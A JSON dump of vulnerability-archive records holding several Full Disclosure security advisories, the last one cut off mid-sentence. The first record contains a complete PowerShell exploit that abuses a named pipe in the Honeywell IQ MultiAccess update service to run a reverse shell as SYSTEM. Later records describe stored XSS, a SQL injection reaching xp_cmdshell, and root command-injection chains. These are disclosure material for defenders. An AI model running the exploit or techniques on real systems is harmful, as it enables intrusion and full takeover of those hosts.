connection.\n - SET SERVERPORT \"9998\"\n - SET URL \"/SETUPVPS.EXE?ET=10&SILENT=0\"\n - SET FNAME \"C:\\Temp\\SETUPVPS.EXE\"\n - Path and filename of the file which should be executed by IQUpdSrv to perform an update.\n - If the file is present, C:\\Windows\\Temp will be used and the behavior can NOT be exploited.\n - The file will be created with size 0 bytes.\n - DO DOWNLOAD\n - IQUpdSrv tries to download the file SETUPVPS.EXE but fails (timeout of ~15 seconds needed).\n Then the file C:\\Temp\\SETUPVPS.EXE will be deleted.\n - //Local command: Copy Reverse Shell Server_31337.exe to C:\\Temp\\SETUPVPS.EXE\n - So the file is present even though IQUpdSrv thinks it is deleted.\n - DO EXECUTE\n - IQUpdSrv starts the SETUPVPS.EXE with SYSTEM rights and connects to your reverse shell listener.\n\n\n```\n<#\n.SYNOPSIS\n Communicates with named pipe \"iqupdsrvpipe\" to trigger download + execution of SETUPVPS.EXE\n\n.DESCRIPTION\n Sends commands via named pipe → waits → copies temp file to destination (without renaming),\n then sends execute command.\n Old destination file is removed; old temp file is NOT removed.\n\n.PARAMETER DestFile\n Final path where the file should end up\n Default: \"C:\\Temp\\SETUPVPS.EXE\"\n\n.PARAMETER TempFile\n Path where the malicious binary is placed (e.g. Reverse Shell. Will be COPIED to DestFile)\n Default: \"C:\\Temp\\_SETUPVPS.EXE\"\n\n.PARAMETER ServerIp (can be arbitrary. Works faster if reachable. If not reachable timeout is required)\n Default: \"127.0.0.1\"\n\n.PARAMETER ServerPort (can be arbitrary)\n Default: \"9998\"\n\n.PARAMETER ConnectTimeoutSeconds\n Default: 10\n\n.PARAMETER WaitAfterDownloadSeconds\n Default: 15\n\n.EXAMPLE\n Import-Module .\\Invoke-IQExploit.psm1 -Force\n Invoke-IQExploit\n#>\n\nfunction Invoke-IQExploit {\n [CmdletBinding()]\n param(\n [string]$DestFile = \"C:\\Temp\\SETUPVPS.EXE\",\n [string]$TempFile = \"C:\\Temp\\_SETUPVPS.EXE\",\n [string]$ServerIp = \"127.0.0.1\",\n [string]$ServerPort = \"9998\",\n [int]$ConnectTimeoutSeconds = 10,\n [int]$WaitAfterDownloadSeconds = 15\n )\n\n $DestFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($DestFile)\n $TempFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($TempFile)\n\n Write-Host \"`nInvoke-IQExploit started\" -ForegroundColor DarkCyan\n Write-Host \" Final destination : $DestFile\"\n Write-Host \" e.g. Reverse Shell: $TempFile\"\n Write-Host \" Wait after download: $WaitAfterDownloadSeconds seconds\"\n Write-Host \"\"\n\n if (Test-Path $DestFile) {\n Write-Host \"Removing old destination file to prevent execution from C:\\Windows\\Temp\" -ForegroundColor DarkYellow\n Remove-Item $DestFile -Force -ErrorAction SilentlyContinue\n }\n else {\n Write-Host \"No existing destination file to remove.\" -ForegroundColor DarkGray\n }\n\n $pipe = $null\n $sw = $null\n\n try {\n Write-Host \"Connecting to \\\\.\\pipe\\iqupdsrvpipe ...\" -ForegroundColor Cyan\n $pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\".\", \"iqupdsrvpipe\", \"InOut\")\n $pipe.Connect($ConnectTimeoutSeconds * 1000)\n\n if (-not $pipe.IsConnected) {\n throw \"Pipe connection timeout after $ConnectTimeoutSeconds seconds\"\n }\n\n Write-Host \"Connected.\" -ForegroundColor Green\n\n $sw = New-Object System.IO.StreamWriter($pipe)\n $sw.AutoFlush = $true\n\n $commands = @(\n \"SET SERVERIP `\"$ServerIp`\"\",\n \"SET SERVERPORT `\"$ServerPort`\"\",\n 'SET URL \"/SETUPVPS.EXE?ET=10&SILENT=0\"',\n \"SET FNAME `\"$DestFile`\"\",\n \"DO DOWNLOAD\"\n )\n\n foreach ($cmd in $commands) {\n Write-Host \"Sending: $cmd\" -ForegroundColor Gray\n $sw.WriteLine($cmd)\n Start-Sleep -Milliseconds 350\n }\n\n Write-Host \"`nDownload command sent.\" -ForegroundColor Yellow\n Write-Host \"Waiting $WaitAfterDownloadSeconds seconds for file to appear at:\" -ForegroundColor Yellow\n Write-Host \" $TempFile\" -ForegroundColor Yellow\n\n Start-Sleep -Seconds $WaitAfterDownloadSeconds\n\n Write-Host \"`nWait finished. Checking temp file...\" -ForegroundColor Cyan\n\n if (Test-Path $TempFile) {\n Write-Host \"Temp file found copying to destination\" -ForegroundColor Green\n Copy-Item -Path $TempFile -Destination $DestFile -Force\n Write-Host \"Copy completed to $DestFile\" -ForegroundColor Green\n\n }\n else {\n Write-Warning \"No Temp file found at: $TempFile\"\n Write-Warning \"Create a binary which should be invoked as SYSTEM at: $TempFile.\"\n }\n\n Write-Host \"Sending DO EXECUTE...\" -ForegroundColor Cyan\n $sw.WriteLine(\"DO EXECUTE\")\n Write-Host \"Executing $DestFile as SYSTEM.\" -ForegroundColor Green\n\n }\n catch {\n Write-Error \"Error: $($_.Exception.Message)\"\n }\n finally {\n if ($sw) { $sw.Dispose() | Out-Null }\n if ($pipe) { $pipe.Dispose() | Out-Null }\n Write-Host \"`nOperation finished.\" -ForegroundColor DarkGray\n }\n}\n\nExport-ModuleMember -Function Invoke-IQExploit\n```\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has  been tested and verified to be vulnerable:\n* IQ MultiAccess IQ.V27\n\nAccording to the vendor, the versions V27 as well as V28 before SP1 are affected.\n\n\nVendor contact timeline:\n------------------------\n2026-03-20: Contacting vendor throughsecurity () honeywell com, attaching PGP-encrypted\n advisory.\n2026-03-20: Vendor responds that they didn't find any POCs and we should resend them.\n2026-03-23: Resending PGP-encrypted advisory again.\n2026-03-25: Asking of the vendor received the advisory now. Vendor asks to submit the\n advisory unencrypted and we send it in clear text. Vendor confirms receipt\n now and coordinates internally.\n2026-04-21: Asking for status update.\n2026-05-22: Vendor responds and will clarify internally.\n2026-05-27: Vendor responds that the vulnerability is fixed, provides CVSS score.\n2026-05-28: Asking vendor for coordinated release of advisory and list of affected\n products.\n2026-06-10: Asking for a status update and CVE number.\n2026-06-10: PSIRT was waiting on the engineer's response, fix should be included in the\n IQ MultiAccess V27 SP1 and V28 SP1, they are working on a release.\n2026-06-18: Asking for a status update.\n2026-06-18: Vendor is working on the CVE, fix will be available at the end of the month.\n Vendor provides CVE JSON for review later that day.\n2026-06-19: Suggesting a different CVSS score as confidentiality and integrity impact is high.\n2026-06-23: Vendor updated the score and further prepares release.\n2026-06-29: Vendor informs us that CVE-2026-13742 has been published.\n2026-09-22: Informing vendor about upcoming advisory release and delay during summer absences.\n2026-09-23: Release of security advisory\n\n\nSolution:\n---------\nThe vendor provides patched versions IQ V27 SP1 and IQ V28 SP1.\nFurthermore, the vendor provides a security notice SN2026-06-25:\nhttps://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF J. Kruchem, G. Jank / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/88"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/88"},{"url":"http://blog.sec-consult.com"},{"url":"https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://sec-consult.com/career/"},{"url":"https://sec-consult.com/contact/"},{"url":"https://sec-consult.com/vulnerability-lab/"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf"},{"url":"https://www.sec-consult.com"},{"url":"https://x.com/sec_consult"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/88"],"discovery":"EXTERNAL"},"title":"SEC Consult SA-20260923-0 :: Local Privilege Escalation in Honeywell IQ MultiAccess Update Service #CVE-2026-13742","x_gcve":[{"recordType":"analysis","relationships":[{"destId":"CVE-2026-13742","type":"related"}],"vulnId":"GCVE-1988-2026-0433","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/88","automated":true,"contentSha256":"c363d09223634c6cfd5f497635a2e252a6b9115387f57e23965e8d9f167c2177","evidenceScore":9,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/88","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T08:59:30Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0433"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"SCHUTZWERK-SA-2024-006","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"David Brown via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nexecuted in victims' browsers when viewing the affected H5P content.\n\nMetadata\n========\n\n- - Affected product: h5p-nodejs-library\n- - Affected version: All versions prior to 9.3.3\n- - Vendor: Lumi Education UG\n- - Problem type(s):\n\n- - CVE ID: CVE-2025-47828\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-47828\n- - CVSS 3.1 score: 6.4 (Medium)\n- - CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-006/\n\nDetails\n=======\n\n\ntherefore store arbitrary HTML and JavaScript in these fields.\n\n\nJavaScript alert function:\n\nPOST /api/v3/h5p-editor/edit/670e69f55301ad663ba69f9e HTTP/2\nHost: example.com\n[...]\n\n{\n \"library\": \"H5P.Timeline 1.1\",\n \"params\": {\n \"params\": {\n \"timeline\": {\n \"defaultZoomLevel\": \"0\",\n \"height\": 600,\n \"asset\": {\n \"media\": \"\",\n \"credit\": \"\",\n \"caption\": \"\"\n },\n \"date\": [\n {\n \"asset\": {},\n \"text\": \"

SW_BodyText2

\\n\",\n \"startDate\": \"1900\",\n \"endDate\": \"9999\",\n \"headline\": \"SW_HEADLINE2\",\n \"tag\": \"SW_tags\"\n }\n ],\n \"language\": \"en\",\n \"headline\": \"SW_Headline\",\n \"text\": \"
SW_BodyText
\"\n }\n },\n \"metadata\": {\n \"embedTypes\": [\n \"iframe\"\n ],\n \"language\": \"en\",\n \"mainLibrary\": \"H5P.Timeline\",\n \"preloadedDependencies\": [\n {\n \"machineName\": \"TimelineJS\",\n \"majorVersion\": 1,\n \"minorVersion\": 1\n },\n {\n \"machineName\": \"H5P.Timeline\",\n \"majorVersion\": 1,\n \"minorVersion\": 1\n }\n ],\n \"defaultLanguage\": \"en\",\n \"license\": \"U\",\n \"title\": \"SW_Timeline-Title\",\n \"authors\": [],\n \"changes\": [],\n \"extraTitle\": \"SW_Timeline-Title\"\n }\n },\n \"parentId\": \"670e36de4c1be96f1bc6bf65\",\n \"parentType\": \"lessons\"\n}\n\n\nserver accepted the request and responded with 201 Created.\n\n\nvia stored XSS is possible.\n\nRisk\n====\n\n\nnew roles to existing ones.\n\nSolution/Mitigation\n===================\n\nUpdate h5p-nodejs-library to version 9.3.3[0] or later.\n\nTimeline\n========\n\n- - 2024-10-14 Vulnerability discovered\n- - 2024-11-07 Initial contact attempt with the developer\n\n- - 2024-11-28 Third contact attempt via a message in the Lumi Slack channel\n\n- - 2025-02-11 Release of h5p-nodejs-library v9.3.3\n\n the vulnerability\n- - 2025-05-11 CVE-2025-47828 published by MITRE\n\n delayed for undisclosed reasons.\n- - 2026-09-22 Advisory released\n\nCredits\n=======\n\n\nSCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n[0] https://github.com/Lumieducation/H5P-Nodejs-library/releases/tag/v9.3.3\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmqzbasaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsfVA/9Gl1qipXoGJB/01grCy2a\nr9FpwoVkM7LsRCev1w/6RHiBcHeSzxuIufMVd+HHGHmEr3ZwU3XEbuin3LGvuqdJ\nCEWHVfLxqMVDl2N0WE6mQYCI6tTPHKUSovYo8U9Nq8OA+lzLsOQpFckmPEqpw1gg\n0nifTBsfQ9pe09hC3sOJJFywRrFBopSULyltY1UsORfD8Kf5QSTGS3Px/H2o5xeW\n8FRoAzaggpJlDvKkEGMKPAGArVEyFLB9PckwYGo2OrmfaQXRv/YjkZiOM0JzvkIf\ntpvGMDqx3/3VYi/BIQK5a6iK06NrUn2+jpKFowXubeHh74vMbzm8r7JyoZOApB19\nZ6y4p6tyWQPps4PZVFKursUoTnnOu5ERe+9btglxQ6RZuJsbJwBlXAbhL78ZJ307\nzSqPQNs51Hf3j9Nn8z3dVZxjJO6ifTCL7cRXpkWpLX+T67CYQ83IPWLTJ1tc5az2\nogKQtG8BfYLVTnnavjENXAzmTLEYcx8mmkz5bPiK9gPq59VRWRrbgwvRuRjeJ7QC\nP3eFZSzH0+Fgr+7T9FX461lb+C8kX7nyh+dxiOGM09mZL+CIJKyWtsTrmQyyrRzO\nqhmV7nHV7VMQQKa+udQnRepgCTfWtNwcg/gx/9h11fKVwkE3w+Sdw8anzcHQbFH0\n4R7MzYDSPi2iGERjgs4GSNo=\n=qFXH\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGeschäftsführer / Managing Directors:\nJakob Pietzka, Michael Schäfer\n\nAmtsgericht Ulm / HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/69"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/69"},{"url":"https://github.com/Lumieducation/H5P-Nodejs-library/releases/tag/v9.3.3"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-47828"},{"url":"https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-006/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/69"],"discovery":"EXTERNAL"},"title":"SCHUTZWERK-SA-2024-006: Stored Cross-Site Scripting via text fields in H5P module (h5p-nodejs-library) of Lumi Education","x_gcve":[{"recordType":"analysis","relationships":[{"destId":"CVE-2025-47828","type":"related"}],"vulnId":"GCVE-1988-2026-0432","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/69","automated":true,"contentSha256":"da6ff9230d10ac2467777c37691f8a6f549d43d05da12038d9a3d81435ec59fe","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/69","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T06:14:09Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0432"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"Server Technology PRO3X","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in Server\nTechnology (Legrand group) PRO3X series intelligent rack PDUs, firmware\nspdu-pro3x-030600 build 46640 (ARM 32-bit uClibc Linux).\n\nType: authenticated listener program override leading to root command execution\n(CWE-78, CWE-269; a separate hard-coded factory credential is reported as\nCWE-798). PRO3X PDUs run port_mux, an inetd-style launcher that starts every\nprotocol listener with fork + execv and never drops privileges, so listeners run\nas root. The executable path is proto_listener_entry.program in cfg_pmux.cdl,\ntyped nctl_nspc_nempty_str_512, a free-form string with no whitelist, and an\nauthenticated administrator rewrites it through setConfiguration (POST /J/cfg).\nPointing the port 80 http listener at /bin/sh with arguments -c \"\" applies at\nruntime: the next TCP connection to port 80 executes the attacker's command as\nuid 0.\n\nScoring. This finding is dual-scored, with the conditional figure published\nalongside the primary:\n- PRIMARY, 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. An\n authenticated administrator is required, and that gate was verified unbypassed.\n- CONDITIONAL, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Where\n the factory default administrator credential is left unchanged, unrotated units\n are open with no privileged secret.\n\nImpact: root (uid 0) on the rack power distribution controller, a\ncritical-infrastructure power monitoring and control appliance. Full configuration\ncontrol follows; the disabled modbus (502) and mbusd (503) listeners can be armed\nwith attacker-chosen programs. Outlet switching and power cycling were not\nseparately exercised by this proof-of-concept.\n\nAuthentication: post-authentication administrator (with a shipped default\nadministrator credential reported separately as CWE-798).\n\nVerification boundary, stated plainly. No physical PRO3X hardware was used, and\nthe three-step HTTP chain (POST /J/auth, POST /J/cfg, then the TCP trigger) was\nNOT exercised end to end against a device. What was dynamically proven is the\nroot execution primitive: port_mux fork + execv of an injected /bin/sh -c as uid\n0, run twice inside a network namespace under qemu-arm-static against the\nrootfs unpacked from the firmware Squashfs, each producing a root-owned marker\ncontaining uid=0(root). Each link of the HTTP delivery path was confirmed\ncomponent by component (httpd.conf routing, the BusyBox SCM_RIGHTS descriptor\npassing, the administrator credential accepted by auth_cli, and the configuration\nwrite accepted and read back through cfgc). SCM_RIGHTS descriptor passing between\nthe separate httpd and jsonrpcd processes does not complete under qemu user-mode\nemulation, which is an emulation-environment limitation rather than a property of\nthe vulnerability. Only this build was tested; no other build or model is claimed.\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/servertech-pro3x-port-mux-command-injection\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-269","description":"CWE-269","lang":"en","type":"CWE"},{"cweId":"CWE-78","description":"CWE-78","lang":"en","type":"CWE"},{"cweId":"CWE-798","description":"CWE-798","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/79"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/79"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/servertech-pro3x-port-mux-command-injection"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/79"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] Server Technology PRO3X PDU 030600 port_mux listener program override to root command execution (7.2)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0431","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/79","automated":true,"contentSha256":"9914d9e5c60c365c9e58406f57ddde29b4945a74adbb372e4574a6056b52e5be","evidenceScore":11,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/79","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T04:55:27Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0431"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"Netsis NetOpenX REST","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in Logo\nNetsis NetOpenX REST 2.0.6.9 (also distributed as Netsis Nox REST), the REST\nAPI gateway of the Netsis enterprise ERP suite.\n\nType: unauthenticated SQL injection in the OAuth 2.0 token endpoint leading to\noperating-system command execution via SQL Server xp_cmdshell\n(CWE-89, CWE-306, CWE-78). A single POST /api/v2/token carrying no client and\nno user credentials supplies a form field named idmuserid that is concatenated\nraw into a SQL statement by ServiceManager.GetIdmUserLastSessionInfo, issued\nbefore OAuthManager.LogIn actually validates the credentials. The backend is\nSQL Server, so a semicolon yields a stacked batch that enables xp_cmdshell and\nthen runs an OS command.\n\nScoring. This finding is dual-scored, with the stricter readings published\nalongside the headline rather than in a footnote, each against its own vector:\n- PRIMARY, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This is\n the recorded headline figure and it describes only the elevation tier, that is\n the configuration where the service's SQL login holds sysadmin, as it did in\n the verified environment. It is not a claim that command execution is available\n on every deployment.\n- CONDITIONAL, 8.1 High, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. The same\n impact set under a stricter attack-complexity judgement that treats the sysadmin\n property of the service login, a deployment characteristic outside the\n attacker's control, as a condition of command execution.\n- CONDITIONAL lower bound, 7.5 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.\n Where the service login is not sysadmin, the same request still yields\n unauthenticated blind SQL injection with data disclosure but no OS access.\n\nImpact: at the elevation tier, OS command execution on the ERP database host with\nthe identity of the SQL Server service account (NT AUTHORITY\\SYSTEM in the\nverified configuration), meaning control of the ERP financial and accounting\ndatabase, exfiltration of it, and a pivot into the internal network. The\ninjection is blind at the HTTP layer.\n\nAuthentication: unauthenticated. The pipeline registers no global authorization\nfilter, the token endpoint is an OWIN middleware route on which action filters\nnever apply, and the shipped SQL fragment blacklist is inert.\n\nVerification boundary, stated plainly. This was NOT verified against a stock\ninstalled product reached across a network. A complete Netsis ERP deployment was\nnot achievable in the lab, so the chain was driven against a reconstruction of\nthe product pipeline (the real OWIN Startup, OAuthConfig, WebApiConfig and\nauthorization-server provider, hosted via WebApp.Start on loopback\n127.0.0.1:8977, against a real SQL Server Express instance whose NETSIS login\nheld sysadmin), with exactly one method body, ServiceManager.GetConnectionString,\nrewritten by a Mono.Cecil IL patch to clear a commercial licensing gate that is\nnot a security boundary. The sink, the authentication logic, the routing table,\nthe OAuth provider and the SQL concatenation were all left as unmodified product\ncode. Because the reconstruction's listener was bound to loopback, remote network\nexposure is a code and deployment argument rather than an observed remote run.\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/netsis-netopenx-unauth-sqli-xp-cmdshell-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-306","description":"CWE-306","lang":"en","type":"CWE"},{"cweId":"CWE-78","description":"CWE-78","lang":"en","type":"CWE"},{"cweId":"CWE-89","description":"CWE-89","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/78"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/78"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/netsis-netopenx-unauth-sqli-xp-cmdshell-rce"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/78"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] Netsis NetOpenX REST 2.0.6.9 Unauthenticated SQL injection to xp_cmdshell SYSTEM command execution (9.8)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0430","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/78","automated":true,"contentSha256":"8321527b821733ff4ab9e302f47421f65ae35b1178b3187a83472f43f952a147","evidenceScore":11,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/78","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T04:55:12Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0430"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"Conduit AEP","vendor":"Multitech","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in MultiTech\nConduit AEP (models mtcdt / mtcdtip / mtcdtiphp), IoT gateways running mLinux on\nARM 32-bit.\n\nType: authenticated OS command injection (CWE-78) through the uploaded filename\nof the admin-only upload_config command. The management API is served by lighttpd\non TCP 8080 and proxied to the proprietary FastCGI daemon /usr/bin/rcell_api. The\nimport_config handler wraps the client-supplied filename in single quotes to\nbuild import_config '' and runs it through MTS::System::cmd, which\ndisassembly confirms is popen(cmd, \"r\"), that is /bin/sh -c. The multipart parser\nstrips only surrounding double quotes and reduces the value to a basename; single\nquotes are never escaped, so a filename of x'; ;# breaks out of the quoting.\n\nScoring. Single base score, not dual-scored:\n- 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. PR:H because\n command/upload_config is granted only in the administrator permission profile.\n\nImpact: root command execution on a gateway that bridges constrained field devices\nwith IP infrastructure (the daemon runs as uid 0), giving full filesystem read,\nconfiguration rewrite, persistence and pivot. The injected command output is\nredirected 